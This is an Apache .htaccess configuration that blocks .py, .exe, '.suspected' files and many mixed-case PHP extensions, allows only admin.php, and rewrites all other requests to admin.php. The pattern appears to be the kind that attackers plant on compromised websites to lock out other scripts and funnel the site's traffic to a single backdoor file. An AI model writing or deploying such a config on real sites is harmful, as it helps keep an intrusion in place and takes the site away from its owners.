DirectoryIndex index.php index.html
<FilesMatch '.(py|exe|phtml|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(admin.php)$'>
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^admin\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /admin.php [L]
</IfModule>